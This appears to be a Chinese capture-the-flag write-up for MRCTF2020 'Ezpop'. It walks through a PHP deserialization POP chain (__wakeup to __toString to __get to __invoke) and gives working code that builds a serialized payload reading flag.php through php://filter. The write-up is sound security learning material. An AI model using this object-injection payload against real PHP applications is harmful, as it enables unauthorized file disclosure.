[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

这道题考察pop链,题目中还给了教程,提示的很明显。

第一次遇到这种题,虽说不是难题,但也没个了解,查了下wp,

发现写的都很难懂,解释的很牵强(感觉都出自几个大佬,所以写的很简)

索性我就自己摸索,搞了大半天终于明白了,遂在这里记录一下。


先放原码:

class Modifier {     protected  $var;     public function append($value){         include($value);     }     public function __invoke(){         $this->append($this->var);     } }  class Show{     public $source;     public $str;     public function __construct($file='index.php'){         $this->source = $file;         echo 'Welcome to '.$this->source."<br>";     }     public function __toString(){         return $this->str->source;     }      public function __wakeup(){         if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {             echo "hacker";             $this->source = "index.php";         }     } }  class Test{     public $p;     public function __construct(){         $this->p = array();     }      public function __get($key){         $function = $this->p;         return $function();     } }  if(isset($_GET['pop'])){     @unserialize($_GET['pop']); } else{     $a=new Show;     highlight_file(__FILE__); } 

下面按新手的步骤来,先分开解读一下:

class Modifier {     protected  $var;     public function append($value){         include($value);     }     public function __invoke(){         $this->append($this->var);     } } 

function append:很明显的incloud包含class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }

function __construct:通过file给source赋值;当一个对象被实例化(new)时回调

function __toString():返回str中的source;当一个对象被当做字符串调用或输出时回调

function __wakeup():过滤;在但序列化时自动回调

思路:
这三个方法看着没什么联系,但是却因为先后关系能被链起来。如果让file等于一个对象(实例化的class)

​那么在反序列化时调用的wakeup方法中,就会引起连锁反应(正则匹配会把source当成字符串)

​从而调用了tostring方法,返回str中的source

class Test{     public $p;     public function __construct(){         $this->p = array();     }      public function __get($key){         $function = $this->p;         return $function();     } } 

function __construct():将变量p变成一个数组;调用方法同前面

function __get():调用了一个函数,名字为function;访问私有属性或不存在的属性时,自动回调

思路:
提示的很明显,在get方法中,function函数被调用

​所以只要function是个对象,就会调用class Modifier中的 function __invoke(),读取flag

​要让function为对象,只需要让function __construct()中的$this->p = new Modifier();

​然后只需要 实例化class Test 且触发__get()方法 即可获得flag

​现在问题是,如何访问一个私有或不存在的属性触发get?肯定是通过还没使用的class show

​根据class show中的结果,return了一个str中的source,那么当str被赋值为一个实例化对象后

​只要该对象没有source属性,就可以触发__get()方法,而刚好Test中没有source。

​而且让 str = new Test()还能顺便实例化了Test类,同时满足了俩条件

​至此,这一条链就连起来了!

总结一下思路:

通过 show 的 __wakeup(),调用__toString(),调用 test 的__get(),调用 Modifier 的__invoke()

写代码:

class Modifier {     protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; }  class Show{     public $source;     public $str;     public function __construct($file){         $this->source = $file;     }   //为了让file成一个对象,而不是一个数据,要调用两次 }  class Test{     public $p;  //没法直接让p等于一个新的对象,需要通过方法来赋值     public function __construct(){         $this->p = new Modifier();     } }  $a = new Show('fanqie');  //随便赋值,为了让file有值,否则会报错警告 $a -> str = new Test();   //让str等于一个类 $b = new Show($a);        //再次调用,让file赋值成一个对象,触发__tostring(),开始pop链 echo urlencode(serialize($b));  //输出编码后的序列化字符串,带入payload就行  

将得到的值通过get传入,得到base64码,解码得到flag

版权声明:玥玥 发表于 2021-08-11 18:24:03。
转载请注明:[MRCTF2020]Ezpop | 女黑客导航